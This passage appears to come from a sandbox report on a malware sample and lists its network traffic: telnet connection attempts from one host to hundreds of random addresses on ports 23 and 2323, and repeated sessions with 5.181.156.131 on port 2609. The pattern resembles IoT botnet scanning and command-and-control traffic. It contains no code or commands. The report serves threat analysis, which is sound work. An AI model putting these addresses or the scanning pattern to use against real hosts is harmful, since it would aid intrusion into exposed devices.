Dec 2, 2023 10:40:41.195779085 CET	50668	23	192.168.2.23	201.97.200.130
Dec 2, 2023 10:40:41.195794106 CET	50668	23	192.168.2.23	104.74.204.92
Dec 2, 2023 10:40:41.195815086 CET	50668	23	192.168.2.23	114.2.32.11
Dec 2, 2023 10:40:41.195815086 CET	50668	23	192.168.2.23	8.203.59.245
Dec 2, 2023 10:40:41.195837975 CET	50668	23	192.168.2.23	34.32.9.162
Dec 2, 2023 10:40:41.195843935 CET	50668	2323	192.168.2.23	96.254.97.235
Dec 2, 2023 10:40:41.195853949 CET	50668	23	192.168.2.23	151.137.27.202
Dec 2, 2023 10:40:41.195854902 CET	50668	23	192.168.2.23	223.176.74.29
Dec 2, 2023 10:40:41.195878983 CET	50668	23	192.168.2.23	4.18.131.160
Dec 2, 2023 10:40:41.195880890 CET	50668	23	192.168.2.23	98.199.249.213
Dec 2, 2023 10:40:41.195893049 CET	50668	23	192.168.2.23	160.170.20.178
Dec 2, 2023 10:40:41.195903063 CET	50668	23	192.168.2.23	192.91.183.217
Dec 2, 2023 10:40:41.195907116 CET	50668	23	192.168.2.23	201.222.70.56
Dec 2, 2023 10:40:41.195914984 CET	50668	23	192.168.2.23	98.60.155.77
Dec 2, 2023 10:40:41.195946932 CET	50668	23	192.168.2.23	150.124.54.38
Dec 2, 2023 10:40:41.195946932 CET	50668	2323	192.168.2.23	211.47.135.10
Dec 2, 2023 10:40:41.195946932 CET	50668	23	192.168.2.23	71.1.96.216
Dec 2, 2023 10:40:41.195954084 CET	50668	23	192.168.2.23	154.37.115.136
Dec 2, 2023 10:40:41.195965052 CET	50668	23	192.168.2.23	63.52.38.37
Dec 2, 2023 10:40:41.195981979 CET	50668	23	192.168.2.23	115.66.72.26
Dec 2, 2023 10:40:41.195981979 CET	50668	23	192.168.2.23	93.160.22.1
Dec 2, 2023 10:40:41.196005106 CET	50668	23	192.168.2.23	64.17.183.134
Dec 2, 2023 10:40:41.196006060 CET	50668	23	192.168.2.23	217.31.244.50
Dec 2, 2023 10:40:41.196072102 CET	50668	23	192.168.2.23	167.119.170.142
Dec 2, 2023 10:40:41.196075916 CET	50668	23	192.168.2.23	38.145.85.43
Dec 2, 2023 10:40:41.196075916 CET	50668	23	192.168.2.23	125.183.197.131
Dec 2, 2023 10:40:41.196091890 CET	50668	23	192.168.2.23	90.140.145.225
Dec 2, 2023 10:40:41.196098089 CET	50668	23	192.168.2.23	212.252.126.189
Dec 2, 2023 10:40:41.196104050 CET	50668	2323	192.168.2.23	221.211.177.12
Dec 2, 2023 10:40:41.196104050 CET	50668	23	192.168.2.23	180.94.78.11
Dec 2, 2023 10:40:41.196104050 CET	50668	23	192.168.2.23	66.184.247.36
Dec 2, 2023 10:40:41.196120024 CET	50668	23	192.168.2.23	88.15.156.248
Dec 2, 2023 10:40:41.196126938 CET	50668	23	192.168.2.23	190.94.171.96
Dec 2, 2023 10:40:41.196192026 CET	50668	23	192.168.2.23	128.253.138.204
Dec 2, 2023 10:40:41.196208954 CET	50668	23	192.168.2.23	147.106.104.95
Dec 2, 2023 10:40:41.196271896 CET	50668	2323	192.168.2.23	134.251.91.132
Dec 2, 2023 10:40:41.196284056 CET	50668	23	192.168.2.23	35.119.179.30
Dec 2, 2023 10:40:41.196290016 CET	50668	23	192.168.2.23	117.143.182.115
Dec 2, 2023 10:40:41.196307898 CET	50668	23	192.168.2.23	70.133.36.243
Dec 2, 2023 10:40:41.196324110 CET	50668	23	192.168.2.23	213.191.108.89
Dec 2, 2023 10:40:41.196336031 CET	50668	23	192.168.2.23	120.40.142.175
Dec 2, 2023 10:40:41.196352959 CET	50668	23	192.168.2.23	126.15.196.250
Dec 2, 2023 10:40:41.196360111 CET	50668	23	192.168.2.23	193.244.215.109
Dec 2, 2023 10:40:41.196392059 CET	50668	23	192.168.2.23	74.179.147.33
Dec 2, 2023 10:40:41.196397066 CET	50668	23	192.168.2.23	70.133.135.42
Dec 2, 2023 10:40:41.196403980 CET	50668	2323	192.168.2.23	71.154.129.37
Dec 2, 2023 10:40:41.196429014 CET	50668	23	192.168.2.23	114.215.150.98
Dec 2, 2023 10:40:41.196441889 CET	50668	23	192.168.2.23	200.91.102.25
Dec 2, 2023 10:40:41.196443081 CET	50668	23	192.168.2.23	19.213.60.82
Dec 2, 2023 10:40:41.196582079 CET	50668	23	192.168.2.23	85.114.87.6
Dec 2, 2023 10:40:41.196610928 CET	50668	23	192.168.2.23	81.80.185.80
Dec 2, 2023 10:40:41.196624994 CET	50668	23	192.168.2.23	150.76.148.72
Dec 2, 2023 10:40:41.196629047 CET	50668	23	192.168.2.23	144.87.33.23
Dec 2, 2023 10:40:41.196646929 CET	50668	23	192.168.2.23	148.134.152.106
Dec 2, 2023 10:40:41.196646929 CET	50668	23	192.168.2.23	167.184.5.67
Dec 2, 2023 10:40:41.196661949 CET	50668	2323	192.168.2.23	167.234.76.5
Dec 2, 2023 10:40:41.196670055 CET	50668	23	192.168.2.23	116.215.0.100
Dec 2, 2023 10:40:41.196691036 CET	50668	23	192.168.2.23	105.87.185.17
Dec 2, 2023 10:40:41.196707964 CET	50668	23	192.168.2.23	86.59.79.118
Dec 2, 2023 10:40:41.196717024 CET	50668	23	192.168.2.23	125.218.183.115
Dec 2, 2023 10:40:41.196726084 CET	50668	23	192.168.2.23	139.147.93.198
Dec 2, 2023 10:40:41.196728945 CET	50668	23	192.168.2.23	107.85.76.78
Dec 2, 2023 10:40:41.196752071 CET	50668	23	192.168.2.23	67.130.101.45
Dec 2, 2023 10:40:41.196765900 CET	50668	23	192.168.2.23	150.76.57.145
Dec 2, 2023 10:40:41.196765900 CET	50668	23	192.168.2.23	68.126.45.40
Dec 2, 2023 10:40:41.196765900 CET	50668	2323	192.168.2.23	95.55.215.53
Dec 2, 2023 10:40:41.196779013 CET	50668	23	192.168.2.23	79.182.135.168
Dec 2, 2023 10:40:41.196791887 CET	50668	23	192.168.2.23	58.8.201.22
Dec 2, 2023 10:40:41.196827888 CET	50668	23	192.168.2.23	75.65.93.31
Dec 2, 2023 10:40:41.196830988 CET	50668	23	192.168.2.23	144.2.247.85
Dec 2, 2023 10:40:41.196851969 CET	50668	23	192.168.2.23	172.226.147.199
Dec 2, 2023 10:40:41.196865082 CET	50668	23	192.168.2.23	123.196.32.204
Dec 2, 2023 10:40:41.196871996 CET	50668	23	192.168.2.23	27.214.126.82
Dec 2, 2023 10:40:41.196876049 CET	50668	23	192.168.2.23	117.47.189.250
Dec 2, 2023 10:40:41.196888924 CET	50668	23	192.168.2.23	124.217.37.43
Dec 2, 2023 10:40:41.196892977 CET	50668	2323	192.168.2.23	65.83.224.161
Dec 2, 2023 10:40:41.196923018 CET	50668	23	192.168.2.23	63.151.253.209
Dec 2, 2023 10:40:41.196926117 CET	50668	23	192.168.2.23	83.18.96.35
Dec 2, 2023 10:40:41.196945906 CET	50668	23	192.168.2.23	37.106.106.178
Dec 2, 2023 10:40:41.196958065 CET	50668	23	192.168.2.23	40.83.30.63
Dec 2, 2023 10:40:41.196975946 CET	50668	23	192.168.2.23	110.136.160.138
Dec 2, 2023 10:40:41.196980953 CET	50668	23	192.168.2.23	58.177.172.162
Dec 2, 2023 10:40:41.196980953 CET	50668	23	192.168.2.23	186.137.52.113
Dec 2, 2023 10:40:41.196989059 CET	50668	23	192.168.2.23	122.250.71.132
Dec 2, 2023 10:40:41.197005987 CET	50668	23	192.168.2.23	67.69.123.94
Dec 2, 2023 10:40:41.197014093 CET	50668	2323	192.168.2.23	174.110.222.62
Dec 2, 2023 10:40:41.197014093 CET	50668	23	192.168.2.23	57.40.145.138
Dec 2, 2023 10:40:41.197035074 CET	50668	23	192.168.2.23	118.175.15.76
Dec 2, 2023 10:40:41.197035074 CET	50668	23	192.168.2.23	66.29.103.110
Dec 2, 2023 10:40:41.197072029 CET	50668	23	192.168.2.23	172.3.213.150
Dec 2, 2023 10:40:41.197076082 CET	50668	23	192.168.2.23	9.103.119.12
Dec 2, 2023 10:40:41.197113037 CET	50668	23	192.168.2.23	220.123.90.162
Dec 2, 2023 10:40:41.197117090 CET	50668	23	192.168.2.23	191.125.212.22
Dec 2, 2023 10:40:41.197119951 CET	50668	23	192.168.2.23	130.27.206.18
Dec 2, 2023 10:40:41.197143078 CET	50668	2323	192.168.2.23	20.237.46.49
Dec 2, 2023 10:40:41.197154999 CET	50668	23	192.168.2.23	122.171.8.226
Dec 2, 2023 10:40:41.197155952 CET	50668	23	192.168.2.23	160.80.160.199
Dec 2, 2023 10:40:41.197174072 CET	50668	23	192.168.2.23	86.149.111.179
Dec 2, 2023 10:40:41.197180986 CET	50668	23	192.168.2.23	121.142.103.114
Dec 2, 2023 10:40:41.197180986 CET	50668	23	192.168.2.23	54.34.164.19
Dec 2, 2023 10:40:41.197220087 CET	50668	23	192.168.2.23	122.34.106.108
Dec 2, 2023 10:40:41.197221041 CET	50668	23	192.168.2.23	37.63.132.245
Dec 2, 2023 10:40:41.197226048 CET	50668	23	192.168.2.23	37.179.93.203
Dec 2, 2023 10:40:41.197226048 CET	50668	23	192.168.2.23	93.122.58.228
Dec 2, 2023 10:40:41.197236061 CET	50668	23	192.168.2.23	117.162.32.76
Dec 2, 2023 10:40:41.354674101 CET	23	50668	160.202.95.137	192.168.2.23
Dec 2, 2023 10:40:41.399302006 CET	23	50668	93.160.22.1	192.168.2.23
Dec 2, 2023 10:40:41.416501045 CET	23	50668	212.252.126.189	192.168.2.23
Dec 2, 2023 10:40:41.438122034 CET	23	50668	217.31.244.50	192.168.2.23
Dec 2, 2023 10:40:41.490252972 CET	23	50668	121.142.103.114	192.168.2.23
Dec 2, 2023 10:40:42.198369980 CET	50668	2323	192.168.2.23	121.219.154.51
Dec 2, 2023 10:40:42.198378086 CET	50668	23	192.168.2.23	169.79.188.210
Dec 2, 2023 10:40:42.198378086 CET	50668	23	192.168.2.23	128.5.125.30
Dec 2, 2023 10:40:42.198391914 CET	50668	23	192.168.2.23	186.197.8.255
Dec 2, 2023 10:40:42.198394060 CET	50668	23	192.168.2.23	69.110.112.51
Dec 2, 2023 10:40:42.198396921 CET	50668	23	192.168.2.23	157.40.207.134
Dec 2, 2023 10:40:42.198400974 CET	50668	23	192.168.2.23	124.39.196.65
Dec 2, 2023 10:40:42.198400974 CET	50668	23	192.168.2.23	177.137.147.247
Dec 2, 2023 10:40:42.198421001 CET	50668	23	192.168.2.23	124.136.5.175
Dec 2, 2023 10:40:42.198535919 CET	50668	2323	192.168.2.23	199.32.242.141
Dec 2, 2023 10:40:42.198564053 CET	50668	23	192.168.2.23	81.135.3.110
Dec 2, 2023 10:40:42.198564053 CET	50668	23	192.168.2.23	188.132.253.166
Dec 2, 2023 10:40:42.198568106 CET	50668	23	192.168.2.23	92.160.62.131
Dec 2, 2023 10:40:42.198590994 CET	50668	23	192.168.2.23	189.34.46.77
Dec 2, 2023 10:40:42.198591948 CET	50668	23	192.168.2.23	95.22.110.188
Dec 2, 2023 10:40:42.198591948 CET	50668	23	192.168.2.23	106.76.168.3
Dec 2, 2023 10:40:42.198600054 CET	50668	23	192.168.2.23	203.41.62.250
Dec 2, 2023 10:40:42.198606968 CET	50668	23	192.168.2.23	159.143.6.146
Dec 2, 2023 10:40:42.198616982 CET	50668	2323	192.168.2.23	44.111.81.163
Dec 2, 2023 10:40:42.198626041 CET	50668	23	192.168.2.23	99.13.49.249
Dec 2, 2023 10:40:42.198626041 CET	50668	23	192.168.2.23	63.68.172.238
Dec 2, 2023 10:40:42.198637009 CET	50668	23	192.168.2.23	217.234.17.112
Dec 2, 2023 10:40:42.198640108 CET	50668	23	192.168.2.23	102.173.76.222
Dec 2, 2023 10:40:42.198653936 CET	50668	23	192.168.2.23	123.3.245.190
Dec 2, 2023 10:40:42.198662996 CET	50668	23	192.168.2.23	8.245.184.91
Dec 2, 2023 10:40:42.198662996 CET	50668	23	192.168.2.23	148.35.57.112
Dec 2, 2023 10:40:42.198668957 CET	50668	23	192.168.2.23	114.245.201.38
Dec 2, 2023 10:40:42.198704958 CET	50668	23	192.168.2.23	174.19.10.139
Dec 2, 2023 10:40:42.198704958 CET	50668	23	192.168.2.23	207.26.39.241
Dec 2, 2023 10:40:42.198708057 CET	50668	23	192.168.2.23	78.243.11.122
Dec 2, 2023 10:40:42.198708057 CET	50668	2323	192.168.2.23	5.20.140.77
Dec 2, 2023 10:40:42.198717117 CET	50668	23	192.168.2.23	35.27.255.200
Dec 2, 2023 10:40:42.198731899 CET	50668	23	192.168.2.23	27.52.217.249
Dec 2, 2023 10:40:42.198731899 CET	50668	23	192.168.2.23	2.172.112.244
Dec 2, 2023 10:40:42.198750019 CET	50668	23	192.168.2.23	82.37.223.242
Dec 2, 2023 10:40:42.198757887 CET	50668	23	192.168.2.23	216.195.46.72
Dec 2, 2023 10:40:42.198760033 CET	50668	23	192.168.2.23	142.206.111.218
Dec 2, 2023 10:40:42.198762894 CET	50668	23	192.168.2.23	99.182.76.114
Dec 2, 2023 10:40:42.198766947 CET	50668	23	192.168.2.23	114.240.26.33
Dec 2, 2023 10:40:42.198766947 CET	50668	23	192.168.2.23	90.74.26.118
Dec 2, 2023 10:40:42.198786020 CET	50668	2323	192.168.2.23	198.127.190.204
Dec 2, 2023 10:40:42.198797941 CET	50668	23	192.168.2.23	124.118.223.15
Dec 2, 2023 10:40:42.198798895 CET	50668	23	192.168.2.23	203.167.190.171
Dec 2, 2023 10:40:42.198798895 CET	50668	23	192.168.2.23	96.173.57.153
Dec 2, 2023 10:40:42.198807001 CET	50668	23	192.168.2.23	19.183.3.254
Dec 2, 2023 10:40:42.198827982 CET	50668	23	192.168.2.23	166.98.219.27
Dec 2, 2023 10:40:42.198843956 CET	50668	23	192.168.2.23	53.143.238.177
Dec 2, 2023 10:40:42.198843956 CET	50668	23	192.168.2.23	20.151.142.40
Dec 2, 2023 10:40:42.198843956 CET	50668	23	192.168.2.23	210.214.219.13
Dec 2, 2023 10:40:42.198843956 CET	50668	23	192.168.2.23	14.170.15.242
Dec 2, 2023 10:40:42.198843956 CET	50668	23	192.168.2.23	53.150.99.213
Dec 2, 2023 10:40:42.198848963 CET	50668	2323	192.168.2.23	168.123.135.93
Dec 2, 2023 10:40:42.198848963 CET	50668	23	192.168.2.23	112.98.210.97
Dec 2, 2023 10:40:42.198863983 CET	50668	23	192.168.2.23	62.230.24.21
Dec 2, 2023 10:40:42.198865891 CET	50668	23	192.168.2.23	179.234.32.34
Dec 2, 2023 10:40:42.198865891 CET	50668	23	192.168.2.23	182.97.230.143
Dec 2, 2023 10:40:42.198868990 CET	50668	23	192.168.2.23	99.216.8.161
Dec 2, 2023 10:40:42.198910952 CET	50668	23	192.168.2.23	94.162.82.86
Dec 2, 2023 10:40:42.198911905 CET	50668	23	192.168.2.23	89.248.194.223
Dec 2, 2023 10:40:42.198911905 CET	50668	23	192.168.2.23	62.226.42.10
Dec 2, 2023 10:40:42.198911905 CET	50668	2323	192.168.2.23	130.196.90.228
Dec 2, 2023 10:40:42.198911905 CET	50668	23	192.168.2.23	94.65.203.202
Dec 2, 2023 10:40:42.198920012 CET	50668	23	192.168.2.23	160.161.140.42
Dec 2, 2023 10:40:42.198920012 CET	50668	23	192.168.2.23	115.24.155.157
Dec 2, 2023 10:40:42.198926926 CET	50668	23	192.168.2.23	184.140.8.43
Dec 2, 2023 10:40:42.198928118 CET	50668	23	192.168.2.23	78.62.94.174
Dec 2, 2023 10:40:42.198960066 CET	50668	23	192.168.2.23	58.227.250.19
Dec 2, 2023 10:40:42.198960066 CET	50668	23	192.168.2.23	212.0.127.156
Dec 2, 2023 10:40:42.198961973 CET	50668	23	192.168.2.23	125.103.235.196
Dec 2, 2023 10:40:42.198962927 CET	50668	23	192.168.2.23	206.203.55.140
Dec 2, 2023 10:40:42.198961973 CET	50668	23	192.168.2.23	77.85.221.133
Dec 2, 2023 10:40:42.198965073 CET	50668	23	192.168.2.23	125.39.42.168
Dec 2, 2023 10:40:42.198965073 CET	50668	23	192.168.2.23	193.70.187.108
Dec 2, 2023 10:40:42.198965073 CET	50668	23	192.168.2.23	212.44.214.33
Dec 2, 2023 10:40:42.198962927 CET	50668	23	192.168.2.23	119.12.233.182
Dec 2, 2023 10:40:42.198965073 CET	50668	23	192.168.2.23	145.71.37.225
Dec 2, 2023 10:40:42.198965073 CET	50668	23	192.168.2.23	79.50.122.112
Dec 2, 2023 10:40:42.198968887 CET	50668	23	192.168.2.23	171.94.170.218
Dec 2, 2023 10:40:42.198978901 CET	50668	23	192.168.2.23	36.111.26.125
Dec 2, 2023 10:40:42.198997974 CET	50668	23	192.168.2.23	177.137.204.27
Dec 2, 2023 10:40:42.198997974 CET	50668	2323	192.168.2.23	18.131.21.145
Dec 2, 2023 10:40:42.198997974 CET	50668	23	192.168.2.23	197.180.125.32
Dec 2, 2023 10:40:42.198997974 CET	50668	23	192.168.2.23	133.39.111.22
Dec 2, 2023 10:40:42.199012041 CET	50668	23	192.168.2.23	126.169.15.171
Dec 2, 2023 10:40:42.199012041 CET	50668	23	192.168.2.23	221.58.3.209
Dec 2, 2023 10:40:42.199028015 CET	50668	23	192.168.2.23	17.35.139.174
Dec 2, 2023 10:40:42.199028015 CET	50668	23	192.168.2.23	181.251.177.232
Dec 2, 2023 10:40:42.199028015 CET	50668	2323	192.168.2.23	88.111.124.116
Dec 2, 2023 10:40:42.199028015 CET	50668	23	192.168.2.23	175.13.229.147
Dec 2, 2023 10:40:42.199033022 CET	50668	23	192.168.2.23	120.172.11.34
Dec 2, 2023 10:40:42.199038029 CET	50668	23	192.168.2.23	206.71.87.1
Dec 2, 2023 10:40:42.199049950 CET	50668	2323	192.168.2.23	98.45.121.84
Dec 2, 2023 10:40:42.199062109 CET	50668	23	192.168.2.23	188.70.160.183
Dec 2, 2023 10:40:42.199063063 CET	50668	23	192.168.2.23	218.13.233.114
Dec 2, 2023 10:40:42.199070930 CET	50668	23	192.168.2.23	148.120.207.154
Dec 2, 2023 10:40:42.199089050 CET	50668	23	192.168.2.23	78.123.198.188
Dec 2, 2023 10:40:42.199090004 CET	50668	2323	192.168.2.23	91.127.87.93
Dec 2, 2023 10:40:42.199095964 CET	50668	23	192.168.2.23	99.73.102.72
Dec 2, 2023 10:40:42.199095964 CET	50668	23	192.168.2.23	174.26.189.238
Dec 2, 2023 10:40:42.199095964 CET	50668	23	192.168.2.23	156.140.176.91
Dec 2, 2023 10:40:42.199110031 CET	50668	23	192.168.2.23	40.60.48.214
Dec 2, 2023 10:40:42.199119091 CET	50668	23	192.168.2.23	194.27.240.62
Dec 2, 2023 10:40:42.199119091 CET	50668	23	192.168.2.23	67.141.104.193
Dec 2, 2023 10:40:42.199119091 CET	50668	23	192.168.2.23	13.203.82.233
Dec 2, 2023 10:40:42.199155092 CET	50668	23	192.168.2.23	86.59.111.192
Dec 2, 2023 10:40:42.199157000 CET	50668	23	192.168.2.23	27.138.209.196
Dec 2, 2023 10:40:42.199157000 CET	50668	23	192.168.2.23	144.29.176.244
Dec 2, 2023 10:40:42.199157000 CET	50668	23	192.168.2.23	158.95.208.155
Dec 2, 2023 10:40:42.199157000 CET	50668	23	192.168.2.23	36.63.136.157
Dec 2, 2023 10:40:42.199163914 CET	50668	23	192.168.2.23	199.113.28.97
Dec 2, 2023 10:40:42.199168921 CET	50668	23	192.168.2.23	207.171.66.168
Dec 2, 2023 10:40:42.199168921 CET	50668	2323	192.168.2.23	13.31.100.69
Dec 2, 2023 10:40:42.199194908 CET	50668	23	192.168.2.23	101.6.70.149
Dec 2, 2023 10:40:42.199196100 CET	50668	23	192.168.2.23	211.68.230.51
Dec 2, 2023 10:40:42.199206114 CET	50668	23	192.168.2.23	181.84.231.161
Dec 2, 2023 10:40:42.199208021 CET	50668	23	192.168.2.23	198.123.50.158
Dec 2, 2023 10:40:42.199208021 CET	50668	2323	192.168.2.23	46.118.172.41
Dec 2, 2023 10:40:42.199208021 CET	50668	23	192.168.2.23	181.204.129.102
Dec 2, 2023 10:40:42.199213982 CET	50668	23	192.168.2.23	89.222.47.143
Dec 2, 2023 10:40:42.199213982 CET	50668	23	192.168.2.23	212.14.57.168
Dec 2, 2023 10:40:42.199218035 CET	50668	23	192.168.2.23	148.224.41.40
Dec 2, 2023 10:40:42.199218035 CET	50668	23	192.168.2.23	8.98.86.54
Dec 2, 2023 10:40:42.199246883 CET	50668	23	192.168.2.23	164.144.76.84
Dec 2, 2023 10:40:42.199248075 CET	50668	23	192.168.2.23	185.42.79.148
Dec 2, 2023 10:40:42.199249983 CET	50668	23	192.168.2.23	206.136.12.28
Dec 2, 2023 10:40:42.199258089 CET	50668	23	192.168.2.23	77.33.192.166
Dec 2, 2023 10:40:42.199260950 CET	50668	23	192.168.2.23	171.115.154.75
Dec 2, 2023 10:40:42.199260950 CET	50668	2323	192.168.2.23	13.44.198.176
Dec 2, 2023 10:40:42.199265957 CET	50668	23	192.168.2.23	161.184.31.138
Dec 2, 2023 10:40:42.199265957 CET	50668	23	192.168.2.23	174.202.22.139
Dec 2, 2023 10:40:42.199265957 CET	50668	23	192.168.2.23	70.133.213.108
Dec 2, 2023 10:40:42.199265957 CET	50668	23	192.168.2.23	8.218.182.65
Dec 2, 2023 10:40:42.199284077 CET	50668	23	192.168.2.23	125.175.223.218
Dec 2, 2023 10:40:42.199285030 CET	50668	23	192.168.2.23	178.159.62.32
Dec 2, 2023 10:40:42.199306965 CET	50668	23	192.168.2.23	194.44.8.56
Dec 2, 2023 10:40:42.199307919 CET	50668	23	192.168.2.23	24.76.212.86
Dec 2, 2023 10:40:42.199307919 CET	50668	23	192.168.2.23	57.188.233.206
Dec 2, 2023 10:40:42.199309111 CET	50668	23	192.168.2.23	196.218.233.144
Dec 2, 2023 10:40:42.199309111 CET	50668	23	192.168.2.23	136.10.238.101
Dec 2, 2023 10:40:42.199335098 CET	50668	23	192.168.2.23	91.252.152.142
Dec 2, 2023 10:40:42.199347973 CET	50668	23	192.168.2.23	84.154.155.61
Dec 2, 2023 10:40:42.199348927 CET	50668	23	192.168.2.23	179.227.182.27
Dec 2, 2023 10:40:42.199348927 CET	50668	23	192.168.2.23	151.240.16.181
Dec 2, 2023 10:40:42.199348927 CET	50668	2323	192.168.2.23	216.236.196.217
Dec 2, 2023 10:40:42.199377060 CET	50668	2323	192.168.2.23	133.129.157.205
Dec 2, 2023 10:40:42.199378014 CET	50668	23	192.168.2.23	200.133.25.180
Dec 2, 2023 10:40:42.199378014 CET	50668	23	192.168.2.23	179.74.147.77
Dec 2, 2023 10:40:42.199378014 CET	50668	23	192.168.2.23	122.31.229.252
Dec 2, 2023 10:40:42.199378014 CET	50668	23	192.168.2.23	103.221.61.30
Dec 2, 2023 10:40:42.199389935 CET	50668	23	192.168.2.23	135.79.72.207
Dec 2, 2023 10:40:42.199389935 CET	50668	23	192.168.2.23	146.107.136.54
Dec 2, 2023 10:40:42.199389935 CET	50668	23	192.168.2.23	90.153.3.86
Dec 2, 2023 10:40:42.199418068 CET	50668	23	192.168.2.23	193.240.55.238
Dec 2, 2023 10:40:42.199418068 CET	50668	23	192.168.2.23	103.33.102.93
Dec 2, 2023 10:40:42.199425936 CET	50668	23	192.168.2.23	186.42.230.184
Dec 2, 2023 10:40:42.199425936 CET	50668	23	192.168.2.23	82.32.163.85
Dec 2, 2023 10:40:42.199429989 CET	50668	23	192.168.2.23	53.169.244.9
Dec 2, 2023 10:40:42.199441910 CET	50668	23	192.168.2.23	157.69.145.6
Dec 2, 2023 10:40:42.199450970 CET	50668	23	192.168.2.23	161.84.130.219
Dec 2, 2023 10:40:42.201750994 CET	50668	23	192.168.2.23	101.181.206.78
Dec 2, 2023 10:40:42.356878996 CET	23	50668	206.71.87.1	192.168.2.23
Dec 2, 2023 10:40:42.478724957 CET	23	50668	27.138.209.196	192.168.2.23
Dec 2, 2023 10:40:42.517479897 CET	23	50668	8.218.182.65	192.168.2.23
Dec 2, 2023 10:40:44.495651960 CET	39222	2609	192.168.2.23	5.181.156.131
Dec 2, 2023 10:40:44.714015007 CET	2609	39222	5.181.156.131	192.168.2.23
Dec 2, 2023 10:40:44.714066029 CET	2609	39222	5.181.156.131	192.168.2.23
Dec 2, 2023 10:40:44.714109898 CET	39222	2609	192.168.2.23	5.181.156.131
Dec 2, 2023 10:40:49.994828939 CET	42516	80	192.168.2.23	109.202.202.202
Dec 2, 2023 10:40:54.090380907 CET	43928	443	192.168.2.23	91.189.91.42
Dec 2, 2023 10:40:59.968754053 CET	2609	39222	5.181.156.131	192.168.2.23
Dec 2, 2023 10:40:59.969041109 CET	39222	2609	192.168.2.23	5.181.156.131
Dec 2, 2023 10:41:15.186775923 CET	2609	39222	5.181.156.131	192.168.2.23
Dec 2, 2023 10:41:15.186906099 CET	39222	2609	192.168.2.23	5.181.156.131
Dec 2, 2023 10:41:30.404751062 CET	2609	39222	5.181.156.131	192.168.2.23
Dec 2, 2023 10:41:30.404881954 CET	39222	2609	192.168.2.23	5.181.156.131
Dec 2, 2023 10:41:35.044524908 CET	43928	443	192.168.2.23	91.189.91.42
Dec 2, 2023 10:41:44.755208015 CET	39222	2609	192.168.2.23	5.181.156.131
Dec 2, 2023 10:41:44.973865032 CET	2609	39222	5.181.156.131	192.168.2.23
Dec 2, 2023 10:41:44.974071980 CET	39222	2609	192.168.2.23	5.181.156.131
Dec 2, 2023 10:42:00.192845106 CET	2609	39222	5.181.156.131	192.168.2.23
Dec 2, 2023 10:42:00.192997932 CET	39222	2609	192.168.2.23	5.181.156.131
Dec 2, 2023 10:42:15.411001921 CET	2609	39222	5.181.156.131	192.168.2.23
Dec 2, 2023 10:42:15.411123991 CET	39222	2609	192.168.2.23	5.181.156.131
Dec 2, 2023 10:42:30.628829956 CET	2609	39222	5.181.156.131	192.168.2.23
Dec 2, 2023 10:42:30.628971100 CET	39222	2609	192.168.2.23	5.181.156.131

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2023 10:40:34.169975996 CET	56117	53	192.168.2.23	8.8.8.8
Dec 2, 2023 10:40:34.268347025 CET	53	56117	8.8.8.8	192.168.2.23

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 2, 2023 10:40:34.294517040 CET	209.6.189.69	192.168.2.23	4e19	(Unknown)	Destination Unreachable
Dec 2, 2023 10:40:34.343605995 CET	200.95.144.1	192.168.2.23	fbe8	(Time to live exceeded in transit)	Time Exceeded
Dec 2, 2023 10:40:34.497612000 CET	181.13.217.248	192.168.2.23	923f	(Time to live exceeded in transit)	Time Exceeded
Dec 2, 2023 10:40:35.378021955 CET	85.208.48.224	192.168.2.23	4680	(Unknown)	Destination Unreachable
Dec 2, 2023 10:40:35.391752005 CET	93.163.244.194	192.168.2.23	e488	(Unknown)	Destination Unreachable
Dec 2, 2023 10:40:36.302561998 CET	96.127.240.46	192.168.2.23	45ef	(Time to live exceeded in transit)	Time Exceeded
Dec 2, 2023 10:40:36.346564054 CET	162.255.183.254	192.168.2.23	e01b	(Time to live exceeded in transit)	Time Exceeded
Dec 2, 2023 10:40:36.361829042 CET	186.145.56.140	192.168.2.23	b2f4	(Port unreachable)	Destination Unreachable
Dec 2, 2023 10:40:36.379673958 CET	141.31.99.253	192.168.2.23	2ed3	(Port unreachable)	Destination Unreachable
Dec 2, 2023 10:40:36.380152941 CET	46.142.180.176	192.168.2.23	53b0	(Unknown)	Destination Unreachable
Dec 2, 2023 10:40:36.386151075 CET	149.11.65.234	192.168.2.23	a030	(Net unreachable)	Destination Unreachable
Dec 2, 2023 10:40:36.494514942 CET	45.204.91.25	192.168.2.23	48b5	(Unknown)	Destination Unreachable
Dec 2, 2023 10:40:37.315330982 CET	97.85.69.249	192.168.2.23	671b	(Unknown)	Destination Unreachable
Dec 2, 2023 10:40:37.340475082 CET	209.163.77.109	192.168.2.23	dee7	(Port unreachable)	Destination Unreachable
Dec 2, 2023 10:40:37.345858097 CET	74.48.199.36	192.168.2.23	d124	(Unknown)	Destination Unreachable
Dec 2, 2023 10:40:37.469652891 CET	100.70.201.222	192.168.2.23	79cd	(Host unreachable)	Destination Unreachable
Dec 2, 2023 10:40:37.508351088 CET	123.63.229.225	192.168.2.23	46a8	(Unknown)	Destination Unreachable
Dec 2, 2023 10:40:39.394290924 CET	185.29.88.230	192.168.2.23	66e	(Time to live exceeded in transit)	Time Exceeded
Dec 2, 2023 10:40:39.394382000 CET	130.185.38.174	192.168.2.23	8d87	(Unknown)	Destination Unreachable
Dec 2, 2023 10:40:40.219499111 CET	121.177.8.62	192.168.2.23	ee8c	(Host unreachable)	Destination Unreachable
Dec 2, 2023 10:40:41.395802975 CET	185.14.235.251	192.168.2.23	64c3	(Host unreachable)	Destination Unreachable
Dec 2, 2023 10:40:41.415173054 CET	160.80.176.2	192.168.2.23	f8f1	(Time to live exceeded in transit)	Time Exceeded
Dec 2, 2023 10:40:41.419146061 CET	177.131.91.200	192.168.2.23	cd28	(Host unreachable)	Destination Unreachable
Dec 2, 2023 10:40:42.406603098 CET	84.154.155.61	192.168.2.23	4717	(Unknown)	Destination Unreachable
Dec 2, 2023 10:40:42.418157101 CET	217.234.17.112	192.168.2.23	4b94	(Unknown)	Destination Unreachable
Dec 2, 2023 10:40:42.421128988 CET	62.226.42.10	192.168.2.23	ce02	(Unknown)	Destination Unreachable
Dec 2, 2023 10:40:43.492343903 CET	112.174.153.126	192.168.2.23	defc	(Host unreachable)	Destination Unreachable
Dec 2, 2023 10:40:44.980824947 CET	206.252.252.250	192.168.2.23	cd8f	(Host unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
